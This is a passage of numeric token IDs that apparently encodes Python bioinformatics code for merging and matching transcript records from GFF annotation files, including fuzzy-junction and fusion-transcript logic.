364, 29906, 29889, 10199, 1860, 29961, 29900, 1822, 355, 29897, 13, 462, 9651, 5277, 1583, 29889, 7564, 29918, 29888, 3365, 1537, 29918, 3317, 29918, 5721, 13, 462, 4706, 1723, 322, 313, 13, 462, 9651, 6425, 29898, 29878, 29889, 10199, 1860, 29961, 29896, 1822, 2962, 448, 364, 29906, 29889, 10199, 1860, 29961, 29896, 1822, 2962, 29897, 13, 462, 9651, 5277, 1583, 29889, 7564, 29918, 29888, 3365, 1537, 29918, 3317, 29918, 5721, 13, 462, 4706, 1723, 13, 13, 9651, 396, 1128, 1532, 437, 278, 429, 265, 432, 651, 29879, 25457, 29973, 13, 9651, 396, 1222, 627, 7087, 29973, 13, 9651, 565, 1583, 29889, 9536, 29918, 29945, 14634, 29901, 13, 18884, 565, 7431, 29898, 29878, 29889, 10199, 1860, 29897, 1405, 7431, 29898, 29878, 29906, 29889, 10199, 1860, 1125, 13, 462, 1678, 263, 29892, 289, 353, 364, 29892, 364, 29906, 13, 18884, 1683, 29901, 13, 462, 1678, 263, 29892, 289, 353, 364, 29906, 29892, 364, 13, 9651, 1683, 29901, 13, 18884, 289, 29892, 263, 353, 364, 29892, 364, 29906, 13, 13, 9651, 396, 337, 2749, 4618, 577, 393, 421, 18307, 29918, 29926, 651, 29879, 29952, 338, 1065, 2748, 29892, 451, 8951, 13, 9651, 4707, 312, 29918, 18307, 353, 7252, 29918, 29926, 651, 29879, 29889, 18307, 29918, 29926, 651, 29879, 29898, 13, 18884, 289, 29892, 263, 29892, 7463, 29918, 29888, 3365, 1537, 29918, 3317, 29918, 5721, 29922, 1311, 29889, 7564, 29918, 29888, 3365, 1537, 29918, 3317, 29918, 5721, 13, 9651, 1723, 13, 13, 9651, 565, 4707, 312, 29918, 18307, 1275, 376, 735, 627, 1115, 29871, 396, 338, 263, 1993, 29991, 13, 18884, 565, 2211, 29918, 355, 29918, 275, 29918, 4352, 29901, 13, 462, 1678, 7709, 364, 29906, 13, 9651, 396, 1423, 565, 278, 20511, 697, 338, 263, 11306, 310, 278, 5520, 697, 13, 9651, 25342, 1583, 29889, 9536, 29918, 29945, 14634, 29901, 13, 18884, 396, 263, 338, 278, 5520, 697, 29892, 289, 338, 278, 20511, 697, 13, 18884, 565, 4707, 312, 29918, 18307, 1275, 376, 6484, 1115, 13, 462, 1678, 396, 591, 871, 1073, 393, 263, 338, 263, 11306, 310, 289, 29892, 11539, 393, 372, 338, 2869, 29871, 29945, 29915, 21022, 630, 313, 710, 392, 29899, 23149, 3321, 14366, 13, 462, 1678, 396, 565, 718, 851, 392, 29892, 1833, 432, 651, 310, 313, 29874, 29892, 29890, 29897, 881, 1993, 322, 29871, 29941, 29915, 1095, 451, 2086, 2923, 13, 462, 1678, 396, 565, 448, 851, 392, 29892, 937, 429, 265, 310, 263, 881, 1993, 937, 429, 265, 310, 289, 5300, 278, 2446, 429, 265, 1016, 29915, 29873, 25457, 13, 462, 1678, 565, 2211, 29918, 355, 29918, 275, 29918, 4352, 322, 1833, 29918, 29926, 651, 29918, 4352, 29901, 13, 462, 4706, 7709, 364, 29906, 13, 13, 1678, 822, 788, 29918, 11249, 29898, 13, 4706, 1583, 29892, 13, 4706, 330, 600, 29918, 9507, 29901, 7761, 29961, 710, 29892, 10802, 1402, 13, 4706, 2318, 29918, 9507, 29901, 7761, 29961, 710, 29892, 10802, 1402, 13, 4706, 4559, 29918, 13506, 29901, 851, 29892, 13, 4706, 1962, 29918, 13506, 29901, 851, 29892, 13, 4706, 5172, 29939, 29918, 9507, 29901, 7761, 29961, 710, 29892, 10802, 29962, 353, 6213, 29892, 13, 1678, 1723, 1599, 6213, 29901, 13, 4706, 12420, 353, 5159, 29871, 396, 1051, 310, 313, 29966, 20317, 304, 364, 29906, 470, 6213, 10202, 364, 29906, 29897, 13, 4706, 443, 4352, 287, 29918, 276, 2395, 353, 731, 29898, 1311, 29889, 11651, 29918, 29881, 29889, 8149, 3101, 13, 13, 4706, 363, 364, 297, 402, 4198, 29889, 27756, 29954, 4198, 6982, 29898, 29887, 600, 29918, 9507, 1125, 13, 9651, 396, 363, 1269, 784, 23384, 1301, 924, 29892, 1284, 6475, 393, 25457, 13, 9651, 1993, 29918, 3757, 29918, 1761, 353, 1051, 29898, 1311, 29889, 4352, 29918, 11651, 29918, 517, 29918, 8336, 29898, 29878, 876, 13, 9651, 565, 7431, 29898, 4352, 29918, 3757, 29918, 1761, 29897, 1405, 29871, 29900, 29901, 29871, 396, 1476, 1993, 29898, 267, 20198, 1925, 5520, 310, 364, 29896, 29914, 29878, 29906, 297, 13, 18884, 396, 565, 7431, 29898, 4352, 29918, 3757, 29918, 1761, 29897, 1405, 29871, 29896, 29901, 282, 2585, 29889, 842, 29918, 15003, 580, 29871, 396, 18525, 13, 18884, 12420, 29889, 4397, 3552, 4352, 29918, 3757, 29918, 1761, 29892, 364, 876, 13, 18884, 363, 1993, 29918, 3757, 297, 1993, 29918, 3757, 29918, 1761, 29901, 13, 462, 1678, 1018, 29901, 13, 462, 4706, 443, 4352, 287, 29918, 276, 2395, 29889, 5992, 29898, 4352, 29918, 3757, 29889, 11762, 333, 29897, 13, 462, 1678, 5174, 7670, 2392, 29901, 13, 462, 4706, 1209, 29871, 396, 2307, 11132, 29892, 9280, 29892, 445, 508, 3799, 13, 9651, 1683, 29901, 29871, 396, 364, 338, 451, 2198, 297, 1857, 5447, 13, 18884, 12420, 29889, 4397, 3552, 8516, 29892, 364, 876, 13, 4706, 396, 1925, 6514, 338, 2175, 515, 278, 5447, 297, 13, 4706, 363, 19359, 333, 297, 443, 4352, 287, 29918, 276, 2395, 29901, 13, 9651, 12420, 29889, 4397, 3552, 29961, 1311, 29889, 11651, 29918, 29881, 29961, 11762, 333, 20526, 6213, 876, 13, 13, 4706, 396, 1653, 263, 2233, 5402, 9643, 304, 337, 29899, 28667, 278, 658, 455, 29914, 3286, 924, 29879, 13, 4706, 2186, 29918, 8336, 353, 2322, 8977, 29898, 13, 9651, 14013, 29901, 8853, 29974, 1115, 2233, 5402, 9643, 29898, 29900, 29892, 29871, 29900, 511, 11663, 1115, 2233, 5402, 9643, 29898, 29900, 29892, 29871, 29900, 2915, 13, 4706, 1723, 13, 4706, 363, 474, 29892, 313, 29878, 29896, 29879, 29892, 364, 29906, 29897, 297, 26985, 29898, 17743, 1312, 1125, 13, 9651, 565, 364, 29896, 29879, 338, 6213, 29901, 13, 18884, 2186, 29918, 8336, 29961, 29878, 29906, 29889, 22495, 3816, 29878, 29906, 29889, 710, 392, 1822, 7851, 29898, 29878, 29906, 29889, 2962, 29892, 364, 29906, 29889, 355, 29892, 474, 29897, 13, 9651, 1683, 29901, 13, 18884, 565, 364, 29906, 338, 451, 6213, 29901, 13, 462, 1678, 1634, 353, 1284, 29918, 276, 6338, 1230, 29918, 262, 29918, 10718, 29918, 1761, 29898, 29878, 29896, 29879, 718, 518, 29878, 29906, 2314, 13, 18884, 1683, 29901, 13, 462, 1678, 1634, 353, 1284, 29918, 276, 6338, 1230, 29918, 262, 29918, 10718, 29918, 1761, 29898, 29878, 29896, 29879, 29897, 13, 18884, 2186, 29918, 8336, 29961, 3445, 29889, 22495, 3816, 3445, 29889, 710, 392, 1822, 7851, 29898, 3445, 29889, 2962, 29892, 1634, 29889, 355, 29892, 474, 29897, 13, 13, 4706, 1583, 29889, 3539, 29918, 19594, 29918, 8336, 29918, 294, 29918, 29887, 600, 29898, 13, 9651, 1162, 29918, 1761, 29922, 17743, 1312, 29892, 13, 9651, 2318, 29918, 9507, 29906, 29922, 2972, 29918, 9507, 29892, 13, 9651, 4559, 29918, 13506, 29906, 29922, 11249, 29918, 13506, 29892, 13, 9651, 1962, 29918, 13506, 29922, 4905, 29918, 13506, 29892, 13, 9651, 5172, 29939, 29918, 9507, 29906, 29922, 11255, 29939, 29918, 9507, 29892, 13, 4706, 1723, 13, 13, 1678, 822, 2436, 29918, 19594, 29918, 8336, 29918, 294, 29918, 29887, 600, 29898, 13, 4706, 1583, 29892, 13, 4706, 1162, 29918, 1761, 29901, 2391, 29961, 29954, 4198, 29889, 29887, 1958, 9182, 1402, 13, 4706, 2318, 29918, 9507, 29906, 29901, 7761, 29961, 710, 29892, 10802, 1402, 13, 4706, 4559, 29918, 13506, 29906, 29901, 851, 29892, 13, 4706, 1962, 29918, 13506, 29901, 851, 29892, 13, 4706, 5172, 29939, 29918, 9507, 29906, 29901, 7761, 29961, 710, 29892, 10802, 29962, 353, 6213, 29892, 13, 1678, 1723, 1599, 360, 919, 29961, 710, 29892, 851, 5387, 13, 4706, 9995, 13, 4706, 14350, 2233, 5402, 9643, 313, 22495, 6660, 9657, 6660, 313, 2962, 29892, 1095, 29892, 1162, 29918, 1761, 29918, 2248, 876, 408, 784, 23384, 29954, 4198, 3402, 13, 4706, 16969, 11474, 263, 716, 2318, 29918, 3888, 21004, 13, 4706, 9995, 13, 4706, 671, 29918, 29888, 29939, 353, 5172, 29939, 29918, 9507, 29906, 338, 451, 6213, 322, 1583, 29889, 11255, 29939, 29918, 8977, 338, 451, 6213, 13, 4706, 565, 671, 29918, 29888, 29939, 29901, 13, 9651, 5172, 29939, 29918, 8977, 29906, 353, 341, 2442, 29925, 29933, 9643, 29889, 949, 29918, 11255, 29939, 29918, 517, 29918, 8977, 29898, 11255, 29939, 29918, 9507, 29906, 29897, 13, 4706, 2318, 29918, 3888, 29906, 353, 341, 2442, 29925, 29933, 9643, 29889, 949, 29918, 2972, 29898, 2972, 29918, 9507, 29906, 29892, 4559, 29918, 13506, 29906, 29897, 13, 13, 4706, 396, 5279, 29901, 1162, 29918, 1761, 338, 313, 29878, 29896, 29879, 29892, 364, 29906, 29897, 988, 364, 29896, 29879, 29892, 364, 29906, 526, 6475, 322, 1033, 367, 6213, 13, 4706, 396, 1207, 1162, 29918, 1761, 964, 1051, 310, 14514, 4789, 313, 999, 29918, 333, 29892, 788, 265, 29918, 333, 29892, 21097, 1162, 29892, 19359, 3757, 29892, 2318, 29918, 3888, 5144, 29897, 13, 4706, 716, 29918, 3757, 29918, 1761, 353, 5159, 13, 4706, 363, 364, 29896, 29879, 29892, 364, 29906, 297, 1162, 29918, 1761, 29901, 13, 9651, 565, 364, 29906, 338, 6213, 29901, 13, 18884, 363, 364, 29896, 297, 364, 29896, 29879, 29901, 13, 462, 1678, 716, 29918, 3757, 29918, 1761, 29889, 4397, 29898, 13, 462, 4706, 14514, 9182, 29898, 13, 462, 9651, 2143, 29918, 333, 29922, 29878, 29896, 29889, 11762, 333, 29892, 13, 462, 9651, 788, 265, 29918, 333, 543, 3521, 613, 13, 462, 9651, 1162, 29922, 29878, 29896, 29892, 13, 462, 9651, 5144, 29922, 1311, 29889, 2972, 29918, 3888, 29961, 29878, 29896, 29889, 11762, 333, 1402, 13, 462, 9651, 19359, 3757, 29922, 1311, 29889, 11255, 29939, 29918, 8977, 29961, 29878, 29896, 29889, 11762, 333, 29962, 565, 671, 29918, 29888, 29939, 1683, 6213, 29892, 13, 462, 4706, 1723, 13, 462, 1678, 1723, 13, 9651, 25342, 364, 29896, 29879, 338, 6213, 29901, 13, 18884, 716, 29918, 3757, 29918, 1761, 29889, 4397, 29898, 13, 462, 1678, 14514, 9182, 29898, 13, 462, 4706, 2143, 29918, 333, 543, 3521, 613, 13, 462, 4706, 788, 265, 29918, 333, 29922, 29878, 29906, 29889, 11762, 333, 29892, 13, 462, 4706, 1162, 29922, 29878, 29906, 29892, 13, 462, 4706, 5144, 29922, 2972, 29918, 3888, 29906, 29961, 29878, 29906, 29889, 11762, 333, 1402, 13, 462, 4706, 19359, 3757, 29922, 11255, 29939, 29918, 8977, 29906, 29961, 29878, 29906, 29889, 11762, 333, 29962, 565, 671, 29918, 29888, 29939, 1683, 6213, 29892, 13, 462, 1678, 1723, 13, 18884, 1723, 13, 9651, 1683, 29901, 13, 18884, 363, 364, 29896, 297, 364, 29896, 29879, 29901, 13, 462, 1678, 565, 7431, 29898, 29878, 29896, 29879, 29897, 1405, 29871, 29896, 29901, 13, 462, 4706, 6773, 13, 462, 4706, 396, 17927, 29889, 3888, 29898, 29888, 29908, 4352, 292, 426, 29878, 29896, 29913, 304, 426, 29878, 29906, 27195, 13, 462, 1678, 1634, 353, 1284, 29918, 276, 6338, 1230, 29918, 262, 29918, 10718, 29918, 1761, 4197, 29878, 29896, 29892, 364, 29906, 2314, 13, 462, 1678, 716, 29918, 3757, 29918, 1761, 29889, 4397, 29898, 13, 462, 4706, 14514, 9182, 29898, 13, 462, 9651, 2143, 29918, 333, 29922, 29878, 29896, 29889, 11762, 333, 29892, 13, 462, 9651, 788, 265, 29918, 333, 29922, 29878, 29906, 29889, 11762, 333, 29892, 13, 462, 9651, 1162, 29922, 3445, 29892, 13, 462, 9651, 5144, 29922, 1311, 29889, 2972, 29918, 3888, 29961, 29878, 29896, 29889, 11762, 333, 29962, 718, 2318, 29918, 3888, 29906, 29961, 29878, 29906, 29889, 11762, 333, 1402, 13, 462, 9651, 19359, 3757, 29922, 1311, 29889, 11255, 29939, 29918, 8977, 29961, 3445, 29889, 11762, 333, 29962, 565, 671, 29918, 29888, 29939, 1683, 6213, 29892, 13, 462, 4706, 1723, 13, 462, 1678, 1723, 13, 4706, 716, 29918, 2972, 29918, 3888, 353, 2436, 29918, 276, 695, 391, 29918, 517, 29918, 29887, 600, 29918, 29876, 29918, 3888, 29898, 13, 9651, 716, 29918, 3757, 29918, 1761, 29892, 1962, 29918, 13506, 29892, 1583, 29889, 1311, 29918, 13506, 29892, 4559, 29918, 13506, 29906, 29892, 671, 29918, 29888, 29939, 13, 4706, 1723, 13, 4706, 736, 716, 29918, 2972, 29918, 3888, 13, 13, 13, 1990, 341, 2442, 29925, 29933, 9643, 29943, 3958, 29898, 29924, 2442, 29925, 29933, 9643, 1125, 13, 1678, 822, 4770, 2344, 12035, 13, 4706, 1583, 29892, 13, 4706, 330, 600, 29918, 9507, 29901, 7761, 29961, 710, 29892, 10802, 1402, 13, 4706, 2318, 29918, 9507, 29901, 7761, 29961, 710, 29892, 10802, 1402, 13, 4706, 7463, 29918, 29888, 3365, 1537, 29918, 3317, 29918, 5721, 29901, 938, 353, 29871, 29900, 29892, 13, 4706, 1583, 29918, 13506, 29901, 851, 353, 6213, 29892, 13, 4706, 5172, 29939, 29918, 9507, 29901, 7761, 29961, 710, 29892, 10802, 29962, 353, 6213, 29892, 13, 4706, 21736, 29918, 3317, 29918, 5721, 29901, 938, 353, 29871, 29896, 29900, 29892, 13, 268, 1125, 13, 4706, 9995, 13, 4706, 360, 8349, 2063, 411, 1661, 29899, 29888, 3958, 341, 2442, 29925, 29933, 9643, 29901, 13, 13, 308, 29896, 29889, 2758, 29918, 29945, 14634, 338, 2337, 17131, 29889, 2216, 263, 3443, 29889, 13, 308, 29906, 29889, 21736, 29918, 3317, 29918, 5721, 11474, 7472, 6068, 5418, 373, 7463, 21736, 11840, 304, 367, 2000, 408, 7126, 16451, 1080, 13, 4706, 9995, 13, 4706, 2428, 2141, 1649, 2344, 12035, 13, 9651, 330, 600, 29918, 9507, 29892, 13, 9651, 2318, 29918, 9507, 29892, 13, 9651, 7463, 29918, 29888, 3365, 1537, 29918, 3317, 29918, 5721, 29892, 13, 9651, 1583, 29918, 13506, 29892, 13, 9651, 7700, 29892, 13, 9651, 5172, 29939, 29918, 9507, 29892, 13, 4706, 1723, 13, 13, 4706, 1583, 29889, 29888, 3958, 29918, 3317, 29918, 5721, 353, 21736, 29918, 3317, 29918, 5721, 13, 13, 4706, 396, 429, 29901, 349, 29933, 29888, 3958, 29889, 29896, 1599, 518, 29925, 29933, 29888, 3958, 29889, 29896, 29889, 29896, 29892, 349, 29933, 29888, 3958, 29889, 29896, 29889, 29906, 29962, 13, 4706, 1583, 29889, 11651, 29918, 29881, 29918, 29888, 3958, 353, 426, 13, 9651, 21736, 29918, 333, 29901, 6475, 13, 9651, 363, 21736, 29918, 333, 29892, 6475, 297, 402, 4198, 29889, 27756, 29954, 4198, 29943, 3958, 6982, 29898, 29887, 600, 29918, 9507, 29897, 13, 4706, 500, 13, 13, 1678, 822, 432, 651, 29918, 4352, 29918, 3198, 29918, 29945, 29898, 1311, 29892, 364, 29896, 29901, 402, 4198, 29889, 29887, 1958, 9182, 29892, 364, 29906, 29901, 402, 4198, 29889, 29887, 1958, 9182, 29897, 1599, 6120, 29901, 13, 4706, 565, 364, 29896, 29889, 710, 392, 1275, 15691, 1115, 13, 9651, 736, 313, 13, 18884, 6425, 29898, 29878, 29896, 29889, 999, 29918, 735, 787, 29961, 29900, 1822, 2962, 448, 364, 29906, 29889, 999, 29918, 735, 787, 29961, 29900, 1822, 2962, 29897, 13, 18884, 5277, 1583, 29889, 29888, 3958, 29918, 3317, 29918, 5721, 13, 9651, 1723, 13, 4706, 1683, 29901, 13, 9651, 736, 313, 13, 18884, 6425, 29898, 29878, 29896, 29889, 999, 29918, 735, 787, 14352, 29896, 1822, 355, 448, 364, 29906, 29889, 999, 29918, 735, 787, 14352, 29896, 1822, 355, 29897, 5277, 1583, 29889, 29888, 3958, 29918, 3317, 29918, 5721, 13, 9651, 1723, 13, 13, 1678, 822, 432, 651, 29918, 4352, 29918, 3198, 29918, 29941, 29898, 1311, 29892, 364, 29896, 29901, 402, 4198, 29889, 29887, 1958, 9182, 29892, 364, 29906, 29901, 402, 4198, 29889, 29887, 1958, 9182, 29897, 1599, 6120, 29901, 13, 4706, 565, 364, 29896, 29889, 710, 392, 1275, 15691, 1115, 13, 9651, 736, 313, 13, 18884, 6425, 29898, 29878, 29896, 29889, 999, 29918, 735, 787, 14352, 29896, 1822, 355, 448, 364, 29906, 29889, 999, 29918, 735, 787, 14352, 29896, 1822, 355, 29897, 5277, 1583, 29889, 29888, 3958, 29918, 3317, 29918, 5721, 13, 9651, 1723, 13, 4706, 1683, 29901, 13, 9651, 736, 313, 13, 18884, 6425, 29898, 29878, 29896, 29889, 999, 29918, 735, 787, 29961, 29900, 1822, 2962, 448, 364, 29906, 29889, 999, 29918, 735, 787, 29961, 29900, 1822, 2962, 29897, 13, 18884, 5277, 1583, 29889, 29888, 3958, 29918, 3317, 29918, 5721, 13, 9651, 1723, 13, 13, 1678, 822, 1993, 29918, 11651, 29918, 517, 29918, 8336, 29898, 13, 4706, 1583, 29892, 364, 29901, 402, 4198, 29889, 29887, 1958, 9182, 29892, 1423, 29918, 29945, 29918, 5721, 29901, 6120, 29892, 1423, 29918, 29941, 29918, 5721, 29901, 6120, 13, 1678, 1723, 1599, 2391, 29961, 710, 5387, 13, 4706, 9995, 13, 4706, 14514, 292, 263, 2323, 2407, 313, 2029, 375, 467, 13, 13, 4706, 11019, 2923, 515, 1661, 29899, 29888, 3958, 1873, 29901, 13, 308, 29896, 29889, 727, 1033, 367, 2999, 7087, 29991, 13, 308, 29906, 29889, 694, 29871, 29945, 14634, 6068, 13, 308, 29941, 29889, 6124, 635, 12747, 565, 278, 29871, 29945, 29915, 29914, 29941, 29915, 10614, 1016, 29915, 29873, 22941, 929, 2086, 1568, 313, 29888, 3958, 29918, 3317, 29918, 5721, 467, 445, 338, 1304, 363, 21736, 432, 651, 29879, 29889, 13, 308, 29946, 29889, 817, 304, 2125, 2562, 393, 16451, 1080, 508, 367, 2473, 29899, 27433, 359, 608, 29991, 2436, 1962, 5149, 21004, 13, 4706, 9995, 13, 4706, 7087, 353, 1583, 29889, 8336, 29961, 29878, 29889, 22495, 3816, 29878, 29889, 710, 392, 1822, 2886, 29898, 29878, 29889, 2962, 29892, 364, 29889, 355, 29897, 13, 4706, 1121, 353, 5159, 13, 4706, 363, 364, 29906, 297, 7087, 29901, 13, 9651, 364, 29889, 10199, 1860, 353, 364, 29889, 999, 29918, 735, 787, 13, 9651, 364, 29906, 29889, 10199, 1860, 353, 364, 29906, 29889, 999, 29918, 735, 787, 13, 9651, 565, 313, 13, 18884, 7252, 29918, 29926, 651, 29879, 29889, 18307, 29918, 29926, 651, 29879, 29898, 13, 462, 1678, 364, 29892, 364, 29906, 29892, 7463, 29918, 29888, 3365, 1537, 29918, 3317, 29918, 5721, 29922, 1311, 29889, 7564, 29918, 29888, 3365, 1537, 29918, 3317, 29918, 5721, 13, 18884, 1723, 13, 18884, 1275, 376, 735, 627, 29908, 13, 18884, 322, 313, 1333, 1423, 29918, 29945, 29918, 5721, 470, 1583, 29889, 29926, 651, 29918, 4352, 29918, 3198, 29918, 29945, 29898, 29878, 29892, 364, 29906, 876, 13, 18884, 322, 313, 1333, 1423, 29918, 29941, 29918, 5721, 470, 1583, 29889, 29926, 651, 29918, 4352, 29918, 3198, 29918, 29941, 29898, 29878, 29892, 364, 29906, 876, 13, 632, 1125, 29871, 396, 338, 263, 1993, 29991, 13, 18884, 1121, 29889, 4397, 29898, 29878, 29906, 29889, 11762, 333, 29897, 13, 13, 4706, 736, 1121, 13, 13, 1678, 822, 1423, 29918, 3757, 4339, 29918, 4352, 29898, 13, 4706, 1583, 29892, 6475, 29896, 29901, 402, 4198, 29889, 29887, 1958, 9182, 29892, 6475, 29906, 29901, 402, 4198, 29889, 29887, 1958, 9182, 13, 1678, 1723, 1599, 6120, 29901, 13, 4706, 9995, 13, 4706, 6475, 29896, 29892, 6475, 29906, 526, 1023, 21736, 6475, 29889, 13, 4706, 2688, 1993, 565, 29888, 29901, 13, 308, 29896, 29889, 1021, 1353, 310, 6475, 13, 308, 29906, 29889, 1269, 2407, 313, 29874, 658, 455, 29897, 7087, 13, 4706, 9995, 13, 4706, 565, 7431, 29898, 3757, 4339, 29896, 29897, 2804, 7431, 29898, 3757, 4339, 29906, 1125, 13, 9651, 736, 7700, 13, 13, 4706, 474, 353, 29871, 29900, 13, 4706, 363, 364, 29896, 29892, 364, 29906, 297, 14319, 29898, 3757, 4339, 29896, 29892, 6475, 29906, 1125, 13, 9651, 396, 1423, 29901, 18460, 29892, 851, 392, 29892, 429, 787, 1993, 13, 9651, 565, 364, 29896, 29889, 22495, 2804, 364, 29906, 29889, 22495, 470, 364, 29896, 29889, 710, 392, 2804, 364, 29906, 29889, 710, 392, 29901, 13, 18884, 736, 7700, 13, 9651, 364, 29896, 29889, 10199, 1860, 353, 364, 29896, 29889, 999, 29918, 735, 787, 13, 9651, 364, 29906, 29889, 10199, 1860, 353, 364, 29906, 29889, 999, 29918, 735, 787, 13, 9651, 565, 313, 13, 18884, 7252, 29918, 29926, 651, 29879, 29889, 18307, 29918, 29926, 651, 29879, 29898, 13, 462, 1678, 364, 29896, 29892, 364, 29906, 29892, 7463, 29918, 29888, 3365, 1537, 29918, 3317, 29918, 5721, 29922, 1311, 29889, 7564, 29918, 29888, 3365, 1537, 29918, 3317, 29918, 5721, 13, 18884, 1723, 13, 18884, 2804, 376, 735, 627, 29908, 13, 632, 1125, 13, 18884, 736, 7700, 13, 9651, 565, 474, 1275, 29871, 29900, 29901, 29871, 396, 937, 2407, 29892, 871, 817, 29871, 29941, 29915, 304, 8661, 13, 18884, 565, 451, 1583, 29889, 29926, 651, 29918, 4352, 29918, 3198, 29918, 29941, 29898, 29878, 29896, 29892, 364, 29906, 1125, 13, 462, 1678, 736, 7700, 13, 9651, 25342, 474, 1275, 7431, 29898, 3757, 4339, 29896, 29897, 448, 29871, 29896, 29901, 29871, 396, 1833, 2407, 29892, 871, 817, 29871, 29945, 29915, 304, 8661, 13, 18884, 565, 451, 1583, 29889, 29926, 651, 29918, 4352, 29918, 3198, 29918, 29945, 29898, 29878, 29896, 29892, 364, 29906, 1125, 13, 462, 1678, 736, 7700, 13, 9651, 1683, 29901, 13, 18884, 565, 451, 1583, 29889, 29926, 651, 29918, 4352, 29918, 3198, 29918, 29945, 29898, 29878, 29896, 29892, 364, 29906, 1125, 13, 462, 1678, 736, 7700, 13, 18884, 565, 451, 1583, 29889, 29926, 651, 29918, 4352, 29918, 3198, 29918, 29941, 29898, 29878, 29896, 29892, 364, 29906, 1125, 13, 462, 1678, 736, 7700, 13, 9651, 474, 4619, 29871, 29896, 13, 13, 4706, 736, 5852, 13, 13, 1678, 822, 1993, 29918, 29888, 3958, 29918, 11651, 29898, 13, 4706, 1583, 29892, 6475, 29901, 2391, 29961, 29954, 4198, 29889, 29887, 1958, 9182, 29962, 13, 1678, 1723, 1599, 28379, 29961, 29954, 4198, 29889, 29887, 1958, 9182, 5387, 13, 4706, 9995, 13, 4706, 6475, 11474, 297, 1797, 29892, 278, 6475, 310, 263, 2323, 21736, 29889, 13, 4706, 9995, 13, 4706, 1781, 353, 5159, 13, 4706, 396, 1993, 278, 937, 2407, 29892, 26795, 6124, 635, 393, 278, 18378, 29871, 29941, 29915, 1095, 7087, 13, 4706, 274, 4167, 353, 1583, 29889, 4352, 29918, 11651, 29918, 517, 29918, 8336, 29898, 13, 9651, 6475, 29961, 29900, 1402, 1423, 29918, 29945, 29918, 5721, 29922, 8824, 29892, 1423, 29918, 29941, 29918, 5721, 29922, 5574, 13, 4706, 1723, 13, 4706, 396, 363, 1269, 14020, 313, 735, 29901, 349, 29933, 29889, 29947, 29889, 29896, 29892, 6597, 278, 2989, 731, 310, 6475, 322, 1993, 963, 29897, 13, 4706, 363, 23794, 297, 274, 4167, 29901, 13, 9651, 286, 353, 19359, 333, 29918, 276, 29916, 29889, 4352, 29898, 29883, 392, 29897, 13, 9651, 21736, 29918, 333, 353, 286, 29889, 2972, 29898, 29896, 29897, 13, 9651, 565, 1583, 29889, 3198, 29918, 3757, 4339, 29918, 4352, 29898, 3757, 4339, 29892, 1583, 29889, 11651, 29918, 29881, 29918, 29888, 3958, 29961, 29888, 3958, 29918, 333, 29962, 1125, 13, 18884, 1781, 29889, 4397, 29898, 29888, 3958, 29918, 333, 29897, 13, 4706, 565, 7431, 29898, 16773, 29897, 1275, 29871, 29900, 29901, 13, 9651, 736, 6213, 13, 4706, 25342, 7431, 29898, 16773, 29897, 1275, 29871, 29896, 29901, 13, 9651, 736, 1781, 29961, 29900, 29962, 13, 4706, 1683, 29901, 13, 9651, 17927, 29889, 2704, 29898, 13, 18884, 376, 11432, 29991, 901, 1135, 697, 1950, 14020, 297, 1993, 29918, 29888, 3958, 29918, 11651, 29991, 21681, 1213, 13, 9651, 1723, 13, 9651, 17927, 29889, 2704, 29898, 29888, 29908, 29924, 14789, 3352, 29901, 426, 16773, 27195, 13, 9651, 10876, 29889, 13322, 6278, 29896, 29897, 13, 13, 1678, 822, 788, 29918, 11249, 29898, 13, 4706, 1583, 29892, 13, 4706, 330, 600, 29918, 9507, 29901, 7761, 29961, 710, 29892, 10802, 1402, 13, 4706, 2318, 29918, 9507, 29901, 7761, 29961, 710, 29892, 10802, 1402, 13, 4706, 4559, 29918, 13506, 29901, 851, 29892, 13, 4706, 1962, 29918, 13506, 29901, 851, 29892, 13, 4706, 5172, 29939, 29918, 9507, 29901, 28379, 29961, 19986, 29961, 710, 29892, 10802, 5262, 353, 6213, 29892, 13, 1678, 1723, 1599, 6213, 29901, 13, 4706, 12420, 353, 313, 13, 9651, 5159, 13, 4706, 1723, 29871, 396, 1051, 310, 313, 29878, 29896, 565, 364, 29906, 338, 6213, 891, 364, 29906, 565, 364, 29896, 338, 6213, 891, 5520, 310, 364, 29896, 470, 364, 29906, 565, 1716, 451, 6213, 29897, 13, 4706, 443, 4352, 287, 29918, 276, 2395, 353, 1051, 29898, 1311, 29889, 11651, 29918, 29881, 29918, 29888, 3958, 29889, 8149, 3101, 13, 13, 4706, 363, 17117, 6475, 297, 402, 4198, 29889, 27756, 29954, 4198, 29943, 3958, 6982, 29898, 29887, 600, 29918, 9507, 1125, 13, 9651, 1993, 29918, 11762, 333, 353, 1583, 29889, 4352, 29918, 29888, 3958, 29918, 11651, 29898, 3757, 4339, 29897, 13, 9651, 565, 1993, 29918, 11762, 333, 338, 451, 6213, 29901, 13, 18884, 12420, 29889, 4397, 3552, 1311, 29889, 11651, 29918, 29881, 29918, 29888, 3958, 29961, 4352, 29918, 11762, 333, 1402, 6475, 876, 13, 18884, 1018, 29901, 13, 462, 1678, 443, 4352, 287, 29918, 276, 2395, 29889, 5992, 29898, 4352, 29918, 11762, 333, 29897, 13, 18884, 5174, 7865, 2392, 29901, 13, 462, 1678, 1209, 29871, 396, 2307, 11132, 29892, 9280, 29892, 445, 5930, 363, 2323, 29899, 735, 265, 1301, 924, 29879, 13, 9651, 1683, 29901, 29871, 396, 364, 338, 451, 2198, 297, 1857, 5447, 13, 18884, 12420, 29889, 4397, 3552, 8516, 29892, 6475, 876, 13, 4706, 396, 1925, 6514, 338, 2175, 515, 278, 5447, 297, 13, 4706, 363, 19359, 333, 297, 443, 4352, 287, 29918, 276, 2395, 29901, 13, 9651, 12420, 29889, 4397, 3552, 1311, 29889, 11651, 29918, 29881, 29918, 29888, 3958, 29961, 11762, 333, 1402, 6213, 876, 13, 13, 4706, 396, 1653, 263, 2233, 5402, 9643, 304, 337, 29899, 28667, 278, 658, 455, 29914, 3286, 924, 29879, 13, 4706, 2186, 29918, 8336, 353, 2322, 8977, 29898, 13, 9651, 14013, 29901, 8853, 29974, 1115, 2233, 5402, 9643, 29898, 29900, 29892, 29871, 29900, 511, 11663, 1115, 2233, 5402, 9643, 29898, 29900, 29892, 29871, 29900, 2915, 13, 4706, 1723, 13, 4706, 363, 474, 29892, 313, 29878, 29896, 29879, 29892, 364, 29906, 29879, 29897, 297, 26985, 29898, 17743, 1312, 1125, 13, 9651, 565, 364, 29906, 29879, 338, 6213, 470, 313, 13, 18884, 364, 29896, 29879, 338, 451, 6213, 13, 18884, 322, 364, 29896, 29879, 29961, 29900, 1822, 355, 448, 364, 29896, 29879, 29961, 29900, 1822, 2962, 1405, 364, 29906, 29879, 29961, 29900, 1822, 355, 448, 364, 29906, 29879, 29961, 29900, 1822, 2962, 13, 632, 1125, 13, 